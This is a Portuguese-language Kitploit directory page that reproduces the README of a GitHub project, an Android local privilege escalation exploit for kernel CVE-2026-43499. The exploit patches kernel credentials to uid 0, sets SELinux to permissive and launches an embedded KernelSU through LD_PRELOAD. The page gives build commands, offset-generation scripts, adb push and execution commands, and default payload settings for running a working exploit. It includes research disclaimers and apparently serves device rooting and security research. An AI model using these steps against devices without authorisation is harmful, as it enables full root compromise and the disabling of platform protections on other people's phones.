Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
asus_i005-CVE-2026-43499 — Exploit de escalada de privilégios local no Android para CVE-2026-43499 que corrige credenciais do kernel e inicia o KernelSU embutido em modo late-load via LD_PRELOAD. | Kitploit
Ferramentas/GitHubGitHub/huaguiqi/asus_i005-cve-2026-43499
Segurança AndroidEscalada de PrivilégiosExploraçãoPós-ExploraçãoSegurança MóvelDesenvolvimento de PayloadsExploração de Binários
GitHubhuaguiqi/asus_i005-cve-2026-43499

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

asus_i005-CVE-2026-43499

Exploit de escalada de privilégios local no Android para CVE-2026-43499 que corrige credenciais do kernel e inicia o KernelSU embutido em modo late-load via LD_PRELOAD.

Ver Repositório
1há 4h 12mAinda não revisado

CVE-2026-43499-root-KernelSU

Adaptação de escalação local de privilégios baseada na vulnerabilidade de kernel CVE-2026-43499, integrando o KernelSU embutido. Compila e gera preload.so; após a exploração bem-sucedida, o KernelSU será iniciado no modo late-load (modo jailbreak). Suporta a geração de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img. ou de outra forma

Projetos de referência:

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] A exploração não autorizada de vulnerabilidades para danificar, comprometer ou obter acesso a sistemas de computador é proibida por lei. Este projeto é fornecido estritamente para fins de pesquisa, educacionais e de aprendizado, e só pode ser usado em sistemas e ambientes para os quais a autorização prévia tenha sido concedida. Qualquer uso deste projeto é feito por conta e risco do usuário. Os autores e contribuidores não assumem qualquer responsabilidade por qualquer uso indevido deste projeto ou por quaisquer danos, perdas ou consequências legais resultantes de seu uso.

Aviso legal: o uso não autorizado de vulnerabilidades para destruir, invadir ou acessar sistemas de computador sem autorização pode violar leis e regulamentos relevantes. Este projeto destina-se apenas a fins de pesquisa de segurança, aprendizado e testes em sistemas e ambientes que tenham obtido autorização legal. Quaisquer perdas diretas ou indiretas, responsabilidades legais e outras consequências decorrentes do uso, abuso ou modificação deste projeto são de responsabilidade exclusiva do usuário, e os autores e contribuidores do projeto não assumem qualquer responsabilidade.

Escopo de impacto

Quando a versão do seu kernel for {Linux Kernel}, você está dentro do escopo de impacto desta vulnerabilidade

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

Status atual

TargetStatus
rodin (padrão)Verificado
Outros src/targets/*Referência

Estrutura de diretórios

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # KernelSU userspace binary embutido em preload.so
├── tools/
│   ├── generate_target.py       # Ponto de entrada unificado deste repositório para geração de target.h
│   └── vendor/                  # Scripts auxiliares de geração originais sincronizados do diretório pai
└── src/
    ├── main.c                   # Fluxo principal do exploit
    ├── preload.c                # LD_PRELOAD constructor + escrita/inicialização do ksud
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Compilação

Dependências

  • Linux host
  • Android NDK
    • Caminho padrão: ~/android-ndk-r29
    • Ou defina: ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Compilação

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Saída:

root@kitploit:~
build/<target>/bin/preload.so

Listar targets disponíveis

root@kitploit:~
make list-projects

Gerar target.h

Este repositório já inclui scripts unificados de geração de target:

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py é o script de entrada. Ele referencia e encapsula todos os fluxos de geração de target do diretório pai, e por fim gera o src/targets/<project>/target.h completo adaptado ao código-fonte deste repositório.

O script não força a validação de CONFIG_DEBUG_INFO_BTF=y no IKCONFIG. Se os offsets dos campos da estrutura ou o layout percpu de entry_task não puderem ser verificados, ele imprimirá um aviso e continuará a geração.

Se não houver BTF utilizável na imagem, por exemplo, se aparecer:

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

O gerador entrará no fallback sem BTF:

  • Continua a recuperar os offsets de símbolos de funções/objetos globais a partir do kallsyms do boot.img atual;
  • Macros de campos de estrutura/layout que não puderem ser recuperadas do BTF herdarão o target de template, sendo o template padrão rodin;
  • No topo do header gerado será escrito um aviso, indicando without BTF e o template utilizado;
  • Esse header garante a máxima compilabilidade possível, mas a confiabilidade em execução precisa ser verificada em dispositivo real.

É possível especificar o template de fallback:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# ou
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Gerar usando boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

Grava por padrão em:

root@kitploit:~
src/targets/<project>/target.h

Também é possível chamar o script diretamente:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

O profile.json precisa conter informações de endereço físico, por exemplo:

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Detectar profile a partir de dispositivo ADB com root

Apenas gerar o profile:

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Detectar o profile e gerar o target imediatamente:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Geração com (xbl_config.img / vendor_boot.img) + boot.img

O script também expõe outras entradas suportadas pelo gerador do diretório pai:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Exemplos
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Formato de saída em caso de sucesso:

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin manterá por padrão o valor verificado em dispositivo real:

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Para sobrescrever:

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Adicionar novo target

Recomenda-se gerar a partir do boot image e profile correspondentes:

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Um header de target completo conterá:

  • Constantes de direct map / physical profile
  • Offsets de objetos KASLR slide
  • Offsets de task / cred / SELinux
  • Offsets de pipe / fops / configfs
  • Valores de layout do pselect, por exemplo PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ e valores de ajuste do KernelSnitch

Execução

O código-fonte atual já possui valores padrão definidos; para a execução normal, basta definir LD_PRELOAD e executar qualquer programa (recomenda-se toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Parâmetros de execução padrão

A configuração padrão atual é a seguinte:

Comando ksud efetivamente executado por padrão:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Essas variáveis de ambiente ainda podem ser sobrescritas em tempo de execução, por exemplo:

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Reutilizar um ksud já escrito:

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Limpeza

root@kitploit:~
make clean

make clean preservará build/embed/ksud, pois src/ksud_blob.S o embute da seguinte forma:

root@kitploit:~
.incbin "build/embed/ksud"

Se a limpeza manual fizer com que build/embed/ksud seja perdido, é possível restaurá-lo:

root@kitploit:~
git checkout -- build/embed/ksud

Perguntas frequentes

.incbin "build/embed/ksud" not found

Restaure o payload embutido e recompile:

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

FOPS route retorna success=0

rodin espera usar o layout legacy/simple pselect:

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Se o estado do dispositivo foi contaminado por tentativas falhas, reinicie e tente novamente:

root@kitploit:~
adb reboot

F_SETPIPE_SZ retorna EPERM

Geralmente é um problema de estado causado por tentativas falhas/residuais; reiniciar é a forma mais rápida de limpar:

root@kitploit:~
adb reboot

ksud inicia mas /proc/modules não tem KernelSU

Verifique os logs:

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

Se necessário, execute manualmente em um root shell:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

License

GPL-3.0. See LICENSE.

Baixar ferramenta
ConfiguraçãoValor padrãoDescrição
KSUD_LATE_LOAD1Executa ksud late-load
KSUD_ALLOW_SHELL1Passa --allow-shell
KSUD_PACKAGEme.weishu.kernelsuNome do pacote do gerenciador passado ao ksud (aparentemente sem efeito)
KSUD_DST/data/local/tmp/ksudCaminho de escrita do ksud embutido
KSUD_SKIP_WRITE0Por padrão, escreve o ksud embutido
KSUD_DEFER_TO_PARENT1Inicia o ksud a partir do caminho do processo pai/atual já patchado
ROOT_PATCH_SELF1Patcha o processo atual para uid 0
DISABLE_SELINUX1Ao aplicar o root patch, define o SELinux enforcing como permissive
ROOT_EXIT_SLEEPunset / 0Não faz sleep adicional antes de retornar